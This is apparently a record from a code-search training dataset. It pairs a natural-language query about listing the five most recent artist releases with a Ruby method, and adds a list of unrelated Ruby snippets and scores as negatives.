CacheUser.synced_from(4.days).only_repo(@repo).order(:synced_on, :updated_at)\n \n # Update contributors personal data if too old or never updated\n if @users.length > 0\n maxlist = @users.length <= 148 ? @users.length : 148 # Not exceed 148 personal data requests\n \n # Synchronize personal data of contributors : Old method\n # -> not enought efficient with large contributors list\n # @users[0...maxlist].each {|contributor| contributor.reload.sync_github!(4.days).save!}\n\n # Synchronize personal data of contributors : Use threads for concurrent requests\n work_queue = Queue.new \n # Add to the working queue all logins to proceed by threads\n @users[0...maxlist].map(&:login).each {|github_login| work_queue.push github_login}\n \n # Launch up to 10 threads\n # Warning : Each worker use a connection from ActiveRecord's pool. See database.yml for\n # set the pool size (count also the connection for this main thread).\n workers = (0...10).map do\n Thread.new do\n until work_queue.empty? do\n github_login = work_queue.pop(true) rescue nil\n if github_login\n user = CacheUser.where(login: github_login).first\n if user\n user.sync_github!(4.days).save!\n end\n end\n end\n end\n end\n workers.map(&:join) # Wait all threads finished before proceeding further \n end\n # Reload fresh data.\n @users = CacheUser.only_repo(@repo)\n respond_to do |format|\n format.html { render }\n format.json { render :show_repo_details, status: :ok, location: @repo }\n end\n end", "def timeline_releases\n real_releases.order('date DESC').limit(5)\n end", "def cache_delivery_pricing!\n cache_delivery_pricing\n save!\n end", "def to_check\n @releases = Release.all\n end", "def cache_repository_revision\n logger.info cache_repository_path.inspect\n File.exists?(cache_repository_path) ? `cd #{cache_repository_path} && git rev-parse --short #{branch}`.strip : \"<em>uncached</em>\".html_safe\n end", "def updated_cached_exchange_rate\n if self.quote_status == 0\n self.exchange_rate = nil\n self.exchange_rate_updated_at = nil\n else\n if self.exchange_rate.blank?\n to_currency = Currency.find_by_iso_code(self.currency)\n self.exchange_rate = Currency.get_exchange_for(self.project.account.account_setting.default_currency, self.currency)\n self.exchange_rate_updated_at = to_currency.updated_at\n end\n end\n end", "def update_views\n gauges_config = YAML.load_file(\"#{CACHE_DIR_PATH}/config\")\n views = load_views\n last_run = gauges_config[:last_run] || gauges_config[:signup_date]\n yesterday = Date.today - 1\n\n if last_run.nil?\n views = fetch_views(views, yesterday, gauges_config[:token])\n elsif last_run && last_run != Date.today\n for date in last_run..yesterday do\n views = fetch_views(views, date, gauges_config[:token])\n end\n end\n\n cache_views(views)\n update_last_run(gauges_config)\n end", "def release_info\n @release_info ||= @connection.get(RELEASE_INFO_PATH)['release']\n end", "def get_updated_build\n @asset = AssetManager.max_version\n if @asset.blank?\n return render :json => {:status => 401, :message => \"Asset not found\"}\n end\n if @asset.updated?(params[:version])\n render :json => {:download_link => retrieve_download_link(@asset), :IsUpdated => true }\n else\n render :json => {:download_link => retrieve_download_link(@asset), :IsUpdated => false }\n end\n\n end", "def add_cache_control; end", "def versioning(action) #:nodoc:\n (self.send(\"#{action}_cache_options\") || {})[:version]\n end", "def after_update(movie)\n expire_cache_for(movie)\n end", "def after_update(movie)\n expire_cache_for(movie)\n end", "def cache\n @cache ||= begin\n if @old_commit_oid == @commit_oid\n @old_stats\n else\n compute_stats(@old_commit_oid, @old_stats)\n end\n end\n end", "def get_last_release\n r = api_get(\"/releases\")\n\n return r[0]['tag_name']\nend", "def update!\n scheduling.total_runs = scheduling.total_runs.to_i + qjob.stats['releases']\n scheduling.last_run = Time.now\n end", "def after_update(record)\n expire_cache_for(record)\n end", "def after_update(record)\n expire_cache_for(record)\n end", "def update_release(stuff, release, fields)\r\n\trelease.update(fields)\r\nend", "def releases\n Release.branch(self)\n end", "def release(project_id, release_id, options = {})\n get \"projects/#{project_id}/releases/#{release_id}\", options\n end", "def disable_caching; end", "def after_update(product)\n expire_cache_for(product)\n print \"product sweeper!\"\n end", "def after_update(doc)\n\t\t# expire_cache_for(doc)\n\tend", "def index\n @press_releases = PressRelease.all\n end", "def version_for_cache\n \"download_url:#{source[:url]}|#{digest_type}:#{checksum}\"\n end", "def get_release_history(release_file)\n release_history = remote_file_exists?(release_file) ? capture(\"cat #{release_file}\").strip : ''\n release_history\nend", "def after_update(comment)\n expire_cache_for(comment)\n end", "def after_update(resume) \n expire_cache_for(resume) \n end", "def disable_caching=(_arg0); end", "def after_update(user)\n expire_cache_for(user)\n end", "def refresh_if_near_expiration; end", "def vendors_expiration\n if config.cache.is_a?(Proc)\n proc_timestamp + config.ttl_in_seconds\n else\n file_timestamp + config.ttl_in_seconds\n end\n end", "def published_version\n Rails.cache.fetch(\"published_version_for_#{name}\", expires_in: 10.minutes) do\n f = open(\"http://download.opensuse.org/factory/repo/oss/media.1/build\")\n matchdata = %r{openSUSE-(.*)-i586-.*}.match(f.read)\n matchdata[1]\n end\n end", "def index\n @release_items = ReleaseItem.all\n end" ]
[ "0.6106076", "0.60914594", "0.6018742", "0.6010483", "0.60036814", "0.5987728", "0.59363794", "0.58373016", "0.58260685", "0.58200955", "0.5788265", "0.5787008", "0.5759254", "0.5759254", "0.5727306", "0.5688849", "0.5688849", "0.56579304", "0.56527627", "0.56527627", "0.56428796", "0.56287295", "0.56166726", "0.56011075", "0.5599492", "0.5599492", "0.5596905", "0.55669683", "0.5536737", "0.5536737", "0.553465", "0.5521847", "0.5521847", "0.5521847", "0.5521847", "0.5521847", "0.5521847", "0.5521847", "0.552001", "0.55130965", "0.5508308", "0.5506761", "0.546839", "0.54578876", "0.5449277", "0.5442472", "0.5441826", "0.5438864", "0.543613", "0.5433551", "0.54290694", "0.54249656", "0.5400482", "0.5400482", "0.5400482", "0.5400482", "0.5393492", "0.53933895", "0.5392529", "0.53855294", "0.5380557", "0.5361584", "0.53608584", "0.53454816", "0.53259367", "0.5324562", "0.53174704", "0.5313904", "0.5310563", "0.5267405", "0.52645296", "0.5260761", "0.52604717", "0.5256504", "0.52507156", "0.5244876", "0.52443916", "0.52443916", "0.52443683", "0.524383", "0.5240284", "0.523875", "0.523875", "0.5234309", "0.5225589", "0.5220798", "0.5220327", "0.52117294", "0.5211508", "0.52104133", "0.52062887", "0.5205884", "0.5200745", "0.5197529", "0.5197246", "0.51931924", "0.5191021", "0.51908517", "0.51878566", "0.518487" ]
0.77269983
0
Load artist releases upon tracking a new artist on the timeline, limiting to 5 most recent
def timeline_releases real_releases.order('date DESC').limit(5) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def perform\n artists = Artist.where(\"past_event_freshness <= ?\", 5.days.ago)\n\n artists.each do |a|\n Saver::PastEvents.perform_async(a.lastfm_id)\n end\n end", "def top_artists\n \n artists=[]\n spotify_artists = JSON.parse(api_call(\"https://api.spotify.com/\",\"v1/me/top/artists\"))\n\n spotify_artists['items'].each do |item|\n new_artist = Artist.find_or_create_by(name: item['name'], spotify_id: item['id'])\n new_artist.update(genre_list: item['genres'])\n artists << new_artist\n end\n\n artists\n\n end", "def get_artists_releases(artist_id, pagination={})\n query_and_build \"artists/#{artist_id}/releases\", pagination\n end", "def execute\n return unless user.friday_release\n user.spotify_account\n\n all_releases = []\n\n artists.each {|artist| all_releases << albums(artist)}\n new_releases = all_releases.flatten.select {|album| is_new?(album)}.uniq(&:id).uniq(&:name)\n\n tracks = []\n\n new_releases.each do |album|\n tracks << album.tracks\n end\n\n spotify_request do\n user.friday_release.playlist.replace_tracks!([])\n end\n\n tracks.sort_by!(&:count).flatten.each_slice(100) do |tracks_batch|\n spotify_request do\n user.friday_release.playlist.add_tracks!(tracks_batch)\n end\n end\n end", "def top_tracks_for_random_artist\n unless @artist\n @artist = Lineup.select_random_artist\n end\n\n options = { :query => { :api_key => LASTFM_API_KEY, :limit => \"10\", :format => \"json\" } }\n top_tracks_response = self.class.get(\"/2.0/?method=artist.gettoptracks&artist=#{ERB::Util.url_encode(@artist)}\",options)\n\n top_tracks_response = top_tracks_response.try(:[],\"toptracks\").try(:[],\"track\")\n if top_tracks_response\n top_tracks_response\n else\n @artist = nil\n top_tracks_for_random_artist\n end\n end", "def show\n @events = @artist.next_events\n @products = @artist.products\n end", "def add_artist(new_artist)\n if @artists.length > 10\n @artists.shift\n else \n @artists.push(new_artist)\n end\n end", "def fetch\n ### UPDATE META DATA\n self.data = open(\"#{LAST_FM_BASE_URL}method=artist.getInfo&api_key=#{LAST_FM_API_KEY}&artist=#{self.name.titlecase.to_url}&format=json\").read\n data = open(\"#{LAST_FM_BASE_URL}method=artist.getTopTracks&api_key=#{LAST_FM_API_KEY}&artist=#{self.name.titlecase.to_url}&format=json\").read\n self.fetch_count = self.fetch_count + 1\n self.last_fetch_at = Time.now\n\n ### UPDATE SONGS\n code = song_data = \"\"\n JSON.parse(data)['toptracks']['track'].each do |track|\n begin\n track_name = strip_symbols(track['name']).to_url\n song_data = JSON.parse(open(\"#{TINYSONG_BASE_URL}#{track_name.to_url}+artist:#{self.name}?format=json&key=#{TINYSONG_API_KEY}\").read)\n code << song_data['SongID'].to_s + \",\" unless song_data == []\n rescue URI::InvalidURIError\n next\n rescue Timeout::Error\n next\n # this is a really weird exception, when viewing an artist that causes this such as revamp\n # it's as if the data format has completely changes. since this only happens on rare occasions just skip the songs\n # it seems this happens when a user searches for a track or album name instead of artist\n rescue TypeError\n next\n end\n end\n self.shark_code = code\n\n ### UPDATE SIMILAR ARTISTS\n self.similar_data = open(\"#{LAST_FM_BASE_URL}method=artist.getsimilar&api_key=#{LAST_FM_API_KEY}&artist=#{self.name.titlecase.to_url}&format=json\").read unless self.similar_data.present?\n Delayed::Job.enqueue(SimilarArtistWorker.new(self.id), 1, Time.now) if self.queue_similar?\n \n # if delayed job fails enough times the job will be nil and id will not be found\n # if this is the case, set the job_id to nil\n begin\n self.dequeue\n rescue ActiveRecord::RecordNotFound\n self.job_id = nil\n end\n\n save\n end", "def add_artist(new_artist)\n @artists.length > 10 ? @artists.shift : @artists.push(new_artist)\n end", "def show\n @a_param = params[:id]\n @current_artist = Artist.find(@a_param)\n @artist = Rails.cache.fetch \"artist/artists-#{@current_artist.id}\", expires_in: 2.hours do\n Artist.includes(:releases).find(@a_param)\n end\n @user = current_user\n # @timeline = Rails.cache.fetch \"artist_timeline/#{@current_artist.id}-#{@current_artist.updated_at}\", expires_in: 2.hours do\n @timeline = Timeline.artist(@a_param).page(params[:page])\n # end\n @release_count = @artist.count_release\n # @events = @artist.songkick_events\n respond_to do |format|\n format.js { render :partial => \"timeline/artist_timeline\", :format => [:js] } \n format.html # show.html.erb\n end\n end", "def recent_observations(num = 5)\n observations.find(:all, :limit => num, :order => \"created_at DESC\")\n end", "def load_streaming_history(session)\n \n file = File.read(attachment.file.file)\n streaming_history = JSON.parse(file)\n \n streaming_history.each do |hash|\n \n track_name = hash[\"trackName\"]\n artist_name = hash[\"artistName\"]\n \n # NOTE: Below request to Spotify may need to be re-run several times for it to be successful\n query_tracks = RSpotify::Track.search(track_name)\n query_track = query_tracks.select do |t|\n t.artists.any?{|a| a.name == artist_name}\n end\n\n # Query artists in addition to tracks (WARNING: SLOW)\n # query_tracks = RSpotify::Track.search(track_name)\n # query_artists = RSpotify::Artist.search(artist_name)\n # query_artist_names = query_artists.map{|a| a.name}\n \n # query_track = query_tracks.select do |t|\n # t.artists.any? do |a|\n # query_artist_names.include?(a.name)\n # end\n # end\n \n track = query_track.first\n\n if track.nil?\n self.missing_songs += 1\n save\n next\n end\n\n # Convert information from simple to full\n # track.complete!\n # track.album.complete!\n # track.artists.each{|a| a.complete!}\n\n song = Song.find_by(spotify_id: track.id)\n \n if !song.present?\n \n artist_ids = []\n track.artists.each do |a|\n artist = Artist.find_or_create_by(spotify_id: a.id)\n artist.update(name: a.name)\n artist_ids << artist.id\n end\n \n genre_ids = []\n track.artists.each do |a|\n a.genres.each do |g|\n genre = Genre.find_or_create_by(name: g)\n genre_ids << genre.id unless genre_ids.include?(genre.id)\n end\n end\n \n album = Album.find_or_create_by(spotify_id: track.album.id)\n album.update(title: track.album.name, image_url: track.album.images[1][\"url\"]) # Numbers correspond to image size (0 -> 640x640, 1 -> 300x300, 2 -> 64x64)\n \n song = album.songs.create(spotify_id: track.id, title: track.name, preview_url: track.preview_url, external_url: track.external_urls[\"spotify\"], artist_ids: artist_ids, genre_ids: genre_ids)\n \n end\n \n self.song_reports.create(song_id: song.id, end_time: hash[\"endTime\"].to_datetime, ms_played: hash[\"msPlayed\"])\n \n end\n \n end", "def followed_artist_tracks\n results = []\n follows.each do |follow|\n response = HTTParty.get(\"https://api.spotify.com/v1/artists/#{follow.artist_id}/top-tracks?country=US\")\n @hash_version = JSON.parse(response.body)\n @hash_version[\"tracks\"].each do |track|\n results << track[\"id\"]\n end\n end\n\n results.shuffle.join(\",\")\n end", "def get_lastfm_loved_tracks\n if FileHelper.file_exists?\n loved_tracks_count = @lastfm.user.loved_count(@lastfm_user)\n file = FileHelper.read_file.map { |h| h.transform_keys(&:to_sym) }\n if file.count >= loved_tracks_count\n puts('Seems there is no new loved Last.fm tracks. Loaded from file.', @puts_args)\n else\n new_loved_tracks_count = loved_tracks_count - file.count\n puts \"Found #{new_loved_tracks_count} new Last.fm loved tracks. Let's update saved file.\"\n pages_to_download = new_loved_tracks_count / LASTFM_PAGE_SIZE + (new_loved_tracks_count % LASTFM_PAGE_SIZE > 0 ? 1 : 0)\n updated_pages = []\n (1..pages_to_download).each do |page|\n updated_pages << @lastfm.user.get_loved_tracks(user: @lastfm_user, page: page)\n end\n updated_pages.reverse!.flatten!.map! do |e|\n Hash.new.tap do |h|\n h[:title] = e['name']\n h[:artist] = e['artist']['name']\n end\n end\n updated_pages.dup.shift(new_loved_tracks_count).each do |new_track|\n file << new_track\n end\n FileHelper.save_file(file)\n end\n file\n else # download from last.fm if file not exists\n loaded_loved_tracks = @lastfm.user.get_all_loved_tracks(user: @lastfm_user).reverse.map do |e|\n Hash.new.tap do |h|\n h[:title] = e['name']\n h[:artist] = e['artist']['name']\n end\n end\n FileHelper.save_file(loaded_loved_tracks)\n loaded_loved_tracks\n end\n end", "def top_tracks(artist)\n get(:standard, {:method => \"artist.getTopTracks\", :artist => artist})\n end", "def fetch_articles(published_before: nil, limit_num: 6)\n if published_before\n articles = Article.includes(:outlet).where(outlet_name: following.pluck(:outlet_name))\n .where('articles.published_at < ?', published_before.to_datetime)\n else\n articles = Article.includes(:outlet).where(outlet_name: following.pluck(:outlet_name))\n end\n articles.limit(limit_num)\n end", "def extra_artists\n Artist.joins(:release_artists).where('release_artist.release_id': self.id, 'release_artist.extra': 1).uniq\n end", "def top_five_artists(db, genre_name)\n db.execute \"SELECT artists.name, COUNT(*) as c\n FROM tracks\n JOIN albums ON albums.id = tracks.album_id\n JOIN artists ON artists.id = albums.artist_id\n JOIN genres ON tracks.genre.id = genres.id\n WHERE genres.name = '#{genre_name}'\n GROUP BY artists.name\n ORDER BY c DESC\n LIMIT 5\n \" # TODO: return list of top 5 rock artists\nend", "def artists(artist)\n if song.artist = nil || !Artist.find_by_name(name)\n song.artist = artist \n Artist.all << artist \n end \n end", "def get_random_artist()\n today = Time.now.strftime('%Y-%m-%d')\n\n randArtist = Artist.find_by(id: rand(Artist.count))\n while randArtist == nil || randArtist.events.where('date >= ?', today).length < 20 do\n randArtist = Artist.find_by(id: rand(Artist.count))\n end\n return randArtist\n end", "def show\n @agenda = Commitment.where(\"artist_data_id = ?\", params[:id]).limit(2) \n end", "def fetch_videos(range = nil)\n channel = Yt::Channel.new url: self.url\n range ||= self.last_fetched.to_datetime..DateTime.now\n\n videos = channel.videos.where(\n published_after: range.first,\n published_before: range.last\n )\n\n self.last_fetched = DateTime.now\n self.save\n\n videos.map do |video|\n self.videos.create yt_id: video.id\n end\n end", "def latest_articles(limit = 10)\n articles[0..limit]\n end", "def index\n if (params.has_key?(:artist))\n searched_name = artist_params[:artist_name]\n found = Artist.all.select{|n| n.artist_name.downcase == searched_name.downcase}\n if found[0] != nil\n @artists = found\n else\n @artists = Artist.all.reverse_order\n require 'musicbrainz'\n @foundArtists = MusicBrainz::Artist.search(artist_params[:artist_name])\n # GEM GITHUB => https://github.com/localhots/musicbrainz\n end\n else\n @artists = Artist.all.reverse_order\n end\n @artist = Artist.new\n gon.next_artist_id = Artist.with_deleted.last.id + 1\n end", "def artist_top_tracks(artist, options = {})\n get \"artists/#{artist}/top-tracks\", options\n end", "def index\n @artists = Artist.limit(4)\n @albums = Album.limit(4)\n end", "def latest_articles(count = 10)\n stories = get_page_data(\"newstories\")\n @loaded_articles[:latest_stories] ||= generate_article(stories, count)\n end", "def recent_videos\n videos.first(6)\n end", "def get_latest_movies (vcdq_rss_url, movies_collection)\n # @TODO: Error checking.\n feed = Feedzirra::Feed.fetch_raw(vcdq_rss_url)\n feed_parsed = Feedzirra::Feed.parse(feed)\n\n current_date = Time.now\n\n i = 0\n feed_parsed.entries.each do |movie_item|\n movie_title_parts = movie_item.title.split('.')\n\n # puts movie_item\n $logger.debug(\"Processing title: #{movie_item.title}\")\n\n # Parse the title and categories for useful info.\n movie_info = get_movie_info(movie_title_parts, movie_item.categories)\n\n # If we couldn't parse any info, just log this incident and move on\n # @TODO: reformat to throw exception instead\n next if movie_info.nil?\n\n # Create a movie.\n movie_document_id = get_movie_document_id(movie_info[:title], movie_info[:year])\n movie = {\n _id: movie_document_id,\n title: movie_info[:title],\n title_lower: movie_info[:title].downcase,\n year: movie_info[:year],\n created: current_date,\n releases: Array.new\n }\n save_movie(movie, movies_collection)\n\n # Create a release\n release = {\n quality: movie_info[:quality],\n url: movie_item.url,\n date: movie_item.published,\n created: current_date\n }\n save_release(release, movie_document_id, movies_collection)\n\n # $logger.debug(\"Parsed movie info: #{movie_info}\")\n\n i += 1\n end\n\n $logger.debug(\"======== only #{i}/#{feed_parsed.entries.length} were good\")\nend", "def get_tracks!\n tracks = RSpotify::Track.search(self.keyword, limit: 50, offset: 0).sort_by(&:popularity)\n\n tracks.delete_if { |t| t.popularity < 45 }\n tracks = tracks.uniq { |t| t.artists.first.name } \n\n raise 'The playlist could not be generated' if tracks.size < 4\n return tracks.reverse\n end", "def recent\n @limit = 10\n @webhooks = Webhook.limit(@limit).order(id: :desc)\n end", "def related_releases\n Rails.cache.fetch(\"releases/release-#{id}\", :expires_in => 1.hour) do\n real_releases.all(:order => 'date DESC', :limit => 15)\n end\n end", "def new_releases\n api_call(\"https://api.spotify.com/\",\"/v1/browse/new-releases\")\n end", "def topTracks(artist)\n\tartistinfo = HTTParty.get(\"http://ws.audioscrobbler.com/2.0/?method=artist.gettoptracks&artist=#{artist}&api_key=#{API_KEY}&format=json\")\n\treturn artistinfo\nend", "def load_newest\n ids = @api.fetch_new_story_ids\n load_by_ids ids\n end", "def track_artists\n @tracks.collect{ |t| t.artist }.compact.uniq\n end", "def get_releases(artist_id, options={})\n api_response = @api_client.make_api_request(:GET, \"artist/releases\", {:artistId => artist_id}, options)\n @api_client.release_digestor.list_from_xml(api_response.content.releases)\n end", "def index\n @articles = Article.order(updated_at: :desc).limit(25)\n end", "def index\n @most_played_artist = Song.most_played_artist\n @most_played_by_artist = Song.find_most_played_by_artist :limit => 3\n\n @most_played_players = User.find_players_of_artist(@most_played_artist, :limit => 4)\n\n @most_played_tags = Tag.find_top(:limit => 3, :conditions => {\n :taggable_type => 'song', :taggable_id => @most_played_by_artist.map(&:id)})\n\n @coolest_users = User.find_coolest :limit => 4\n @max_votes = @coolest_users.map(&:rating_count).max\n end", "def index\n @artists = Artist.paginate(page: params[:page], per_page:6)\n end", "def get_events(artist)\n this_uri = \"http://data.pollstar.com/api/pollstar.asmx/ArtistEvents?artistID=#{artist.ArtistID}&startDate=#{Time.now.strftime(\"%m/%d/%Y\")}&dayCount=0&page=0&pageSize=0#{ps_key}\"\n this_uri.gsub! \" \", \"\"\n\n doc = Nokogiri::XML(Net::HTTP.get(URI(this_uri)))\n all_artist_events = doc.xpath(\"//ArtistInfo//Events/Event\") \n\n all_artist_events.each do |ne|\n if Event.where(EventID: ne.attribute('EventID').to_s).count < 1\n event = Event.new\n city = City.new\n event.EventID = ne.attribute('EventID').to_s\n event.EventName = ne.attribute('EventName').to_s\n event.VenueID = ne.attribute('VenueID').to_s\n event.VenueName = ne.attribute('VenueName').to_s\n event.CityID = ne.attribute('CityID').to_s\n city.CityID = ne.attribute('CityID').to_s\n event.CityName = ne.attribute('CityName').to_s\n city.CityName = ne.attribute('CityName').to_s\n event.State = ne.attribute('State').to_s\n city.State = ne.attribute('State').to_s\n event.CountryName = ne.attribute('CountryName').to_s\n city.CountryName = ne.attribute('CountryName').to_s\n event.Region = ne.attribute('Region').to_s\n city.Region = ne.attribute('Region').to_s\n event.play_date = Date.parse(ne.attribute('PlayDate').to_s.gsub(/, */, '-'))\n event.Playtime = ne.attribute('PlayTime').to_s\n event.Url = ne.attribute('Url').to_s\n event.artist_name = artist.ListName\n event.artist_id = artist.id\n \n # Ensure CountryName valide and present\n city.ensure_CountryName\n event.ensure_CountryName\n \n # Verify / Add city to city table\n city = City.find_by CityID: city.CityID unless city.save\n event.city_id = city.id\n event.save\n \n # Create link table entries\n ArtistEvent.create({:artist => artist, :event => event})\n CityEvent.create({:city => city, :event => event})\n end\n end\n \n end", "def get_all_events_for_artist\n puts \"Please enter an artist\"\n artist = gets.chomp\n \n api_response = RestClient.get(\"https://app.ticketmaster.com/discovery/v2/events.json?size=20&keyword=#{artist}&apikey=#{$ticket_master_api_key}\")\n json_response = JSON.parse(api_response)\n\n overlapping_attractions = []\n generated_events = json_response[\"_embedded\"][\"events\"]\n generated_events.each do |event_hash|\n if(event_hash[\"_embedded\"][\"attractions\"] != nil)\n sub_arr = event_hash[\"_embedded\"][\"attractions\"].map do |attraction_hash|\n attraction_hash[\"name\"]\n end\n sub_arr = sub_arr.join(\", \")\n overlapping_attractions << sub_arr\n end\n end\n \n overlapping_attractions = overlapping_attractions.uniq\n \n attraction_selection = $prompt.select(\"Please select the artist or group of artist that you are interested in\", overlapping_attractions).split(\", \")\n \n events_with_artist = []\n generated_events.each do |event_hash|\n if(event_hash[\"_embedded\"][\"attractions\"] != nil)\n count = 0\n desired_count = attraction_selection.length\n event_hash[\"_embedded\"][\"attractions\"].each do |attraction_hash|\n attraction_selection.each do |attraction_name|\n if(attraction_name == attraction_hash[\"name\"])\n count += 1\n end\n end\n end\n if(count == desired_count)\n events_with_artist << event_hash\n end\n end\n end\n\n events_artist_event_id = events_with_artist.map do |event|\n {name: event[\"name\"], value: event[\"id\"]}\n end\n \n events = events_with_artist.map do |event_hash|\n event_hash[\"name\"]\n end\n\n #Note that the following menu may output multiple events with the same name. However, the event options shown have different dates or times\n event_selection= $prompt.select(\"Here are the events with those artist. Please select the one that you would like more information\", events_artist_event_id)\n\n events_with_artist.find do |event_hash|\n event_hash[\"id\"] == event_selection\n end\nend", "def events(artist)\n get(:standard, {:method => \"artist.getEvents\", :artist => artist})\n end", "def list_artists\n all_artists = artist_data[\"artists\"][\"items\"]\n all_artists.each do | artist |\n artist_name = artist[\"name\"]\n artists[artist_name] ||= {}\n artists[artist_name][:popularity] = artist[\"popularity\"]\n end\n artists\n end", "def show\n @member = Member.find(params[:id])\n @tracks = @member.tracks.latest\n end", "def release_groups\n return @artist_data[\"release-groups\"].sort_by { |hash| hash[\"first-release-date\"]}\n end", "def index\n @recent_objects = AssertedDistribution.recent_from_project_id($project_id).order(updated_at: :desc).limit(10)\n end", "def get_top_artists( params )\n LastFM.get( \"chart.getTopArtists\", params )\n end", "def print_latest_song(tracks)\n\t\n\tputs tracks[0]['artist']['#text']\n\tputs tracks[0]['name'] + \" - \" + tracks[0]['album']['#text']\nend", "def queue_similar_artists\n JSON.parse(self.similar_data)['similarartists']['artist'].each do |sim_artist|\n begin\n lookup_data = JSON.parse(open(\"#{TINYSONG_BASE_URL}artist:#{strip_symbols(sim_artist['name']).to_url}?format=json&key=#{TINYSONG_API_KEY}\").read)\n unless lookup_data == []\n queued_artist = Artist.find_or_create_by_name(lookup_data['ArtistName'].to_url)\n queued_artist.enqueue\n end\n rescue URI::InvalidURIError\n next\n end\n end\n self.queue_similar = false\n save\n end", "def index\n if !params[:artist_name].empty?\n lastfm = Lastfm.new(ENV[\"LASTFM_KEY\"], ENV[\"LASTFM_SECRET\"])\n @videos = Yt::Collections::Videos.new\n artistspotify = RSpotify::Artist.search(params[:artist_name])\n artistlastfm = lastfm.artist.get_info(artist: params[:artist_name], autocorrect: 1)\n \n @artistbio = artistlastfm[\"bio\"][\"summary\"]\n puts artistspotify\n @artist = artistspotify.first\n @tracks = @artist.top_tracks(:US)\n # <% @videoId = @videos.where(q: \"music video for #{@artist.name} #{track.name}\", order: 'relevance').first.id %>\n # @videoId = @videos.where(q: params[:artist_name], safe_search: 'none').first.id\n else\n redirect_to root_path\n end \n end", "def make_api_call \n Artist.all.each do |artist|\n request = RestClient.get(\"https://api.songkick.com/api/3.0/artists/#{artist.song_kick_id}/calendar.json?apikey=zIDG2c72WHINjQ8Y\")\n artist_data = JSON.parse(request)\n create_event(artist_data, artist.id)\n end \n \nend", "def index\n @albumfives = Albumfive.all.order(\"created_at DESC\")\n end", "def show\n @recents = @circle.recents\n end", "def fetch_release_dates\n qualities = [\"Unknown\", \"Digital HD\", \"Blu-ray\", \"4K UHD\"]\n struct = Struct.new(:release_date, :release_type, :quality)\n\n release_dates.delete_all\n\n data = Services::N8n::Api.new.release_dates(title)\n\n data.map do |item|\n type = if item.type.include? \"4K UHD\"\n \"4K UHD\"\n elsif item.type.include? \"Blu-ray\"\n \"Blu-ray\"\n elsif item.type.include? \"Digital HD\"\n \"Digital HD\"\n end\n\n next nil unless type.present?\n\n quality = qualities.index(type)\n\n struct.new(item.release_date, type, quality)\n end.compact.uniq.group_by(&:release_date).flat_map do |_type, group|\n group.max_by(&:quality)\n end.each do |item|\n release_dates.create(release_date: item.release_date, release_type: item.release_type)\n end\n\n update available_date: release_dates.minimum(:release_date)\n end", "def index\n #@trackers = Tracker.where(:nasfile_id => nasfile.id)\n @trackers = @nasfile.trackers.newest_first.paginate(:page => params[:page], :per_page => 10)\n end", "def index\n @shows = Show.all\n response = HTTParty.get('https://api.setlist.fm/rest/1.0/artist/94f8947c-2d9c-4519-bcf9-6d11a24ad006/setlists?p=1', headers: {\"Accept\" => \"application/json\", \"x-api-key\": \"X5zdk_R9xhoRkSxvDUDSV1n_1hlGGSRPwaDq\"})\n results = JSON.parse(response.body)\n results[\"setlist\"].each do |show|\n if Venue.find_by(mbid: show[\"venue\"][\"id\"])\n # do nothing\n else\n @venue = Venue.create(mbid: show[\"venue\"][\"id\"], \n name: show[\"venue\"][\"name\"], \n city: show[\"venue\"][\"city\"][\"name\"],\n state: show[\"venue\"][\"city\"][\"state\"],\n country: show[\"venue\"][\"city\"][\"country\"][\"code\"])\n end\n # do some not have venues? check for this\n if @venue\n @show = Show.create(name: show[\"venue\"][\"name\"], event_date: show[\"eventDate\"], venue_id: @venue.id)\n else\n @show = Show.create(name: show[\"venue\"][\"name\"], event_date: show[\"eventDate\"])\n end\n # FIXME - hardcoded for dead & co with 3\n ArtistShow.create(artist_id: 3, show_id: @show.id)\n show[\"sets\"][\"set\"].each do |set|\n # increment sets by 1 for ordering later\n encore = set[\"encore\"] if set[\"encore\"]\n set_num = 1\n @setlist = Setlist.create(number: set_num, encore: encore, show_id: @show.id)\n set[\"song\"].each do |song|\n if song[\"cover\"]\n if Artist.find_by(mbid: song[\"cover\"][\"mbid\"])\n # do nothing\n else\n @artist = Artist.create(name: song[\"cover\"][\"name\"], sort_name: song[\"cover\"][\"sortName\"], mbid: song[\"cover\"][\"mbid\"])\n end\n end\n if @artist\n @song = Song.create(name: song[\"name\"], artist_id: @artist.id) \n else\n @song = Song.create(name: song[\"name\"])\n end\n SetlistSong.create(song_id: @song.id, setlist_id: @setlist.id, position: 1 )\n end\n end\n end\n end", "def update_performances(utc_offset = nil, also_get_metadata = true, page_size = 200, page_limit = 0)\r\n\t\tif utc_offset.nil?\r\n\t\t\tutc_offset = @db.get_first_value(\"SELECT MAX(time_utc) FROM track_history\")\r\n\t\tend\r\n\r\n\t\tputs \"Grabbing all the performances after \" + utc_offset.to_s + \": \" + Time.at(utc_offset).getlocal.to_s\r\n\r\n\t\tpage = 1\r\n\t\twhile page != page_limit\r\n\t\t\tputs \"Processing page \" + page.to_s\r\n\t\t\ttracks = @lastfm.user.get_recent_tracks(\r\n\t\t\t\t:user => @username,\r\n\t\t\t\t:from => utc_offset,\r\n\t\t\t\t:limit => page_size,\r\n\t\t\t\t:page => page\r\n\t\t\t\t)\r\n\r\n\t\t\tbreak if tracks.nil?\r\n\t\t\ttracks.each do |t|\r\n\r\n\t\t\t\t# for the most recent result\r\n\t\t\t\tt[\"date\"] = {:uts => Time.now.utc, :content => \"now playing\"} unless t.has_key?(\"date\")\r\n\t\t\t\t#, t.artist.mbid, t.artist.content, t.mbid, t.name, t.album.mbid, t.album.content ]\r\n\t\t\t\tbegin\r\n\t\t\t\t\tputs \"running queries...\"\r\n\t\t\t\t\t@db.execute( \"INSERT INTO track_history (time_utc, artist_mbid, artist_name, track_mbid, track_name, album_mbid, album_name) VALUES (?,?,?,?,?,?,?)\", t[\"date\"][\"uts\"], t[\"artist\"][\"mbid\"], t[\"artist\"][\"content\"], t[\"mbid\"], t[\"name\"], t[\"album\"][\"mbid\"], t[\"album\"][\"content\"] )\r\n\t\t\t\trescue\r\n\t\t\t\t\tputs \"DB error\"\r\n\t\t\t\tend\r\n\r\n\t\t\tend\r\n\r\n\t\t\tpage = page + 1\r\n\r\n\t\tend\r\n\t\tupdate_metadata if also_get_metadata\r\n\r\n\t\tsplunk_writer('measuredincm.log', utc_offset)\r\n\r\n\r\n\tend", "def list\n @artist_name = get_artist_name\n @discogs_releases = get_discogs_releases_paginated(@artist_name) unless @artist_name.blank?\n\n respond_to do |format|\n format.html # show.html.erb\n #format.xml { render :xml => @artist }\n format.js\n end\n end", "def ultimos_articulos\n puts \"\\nObteniendo 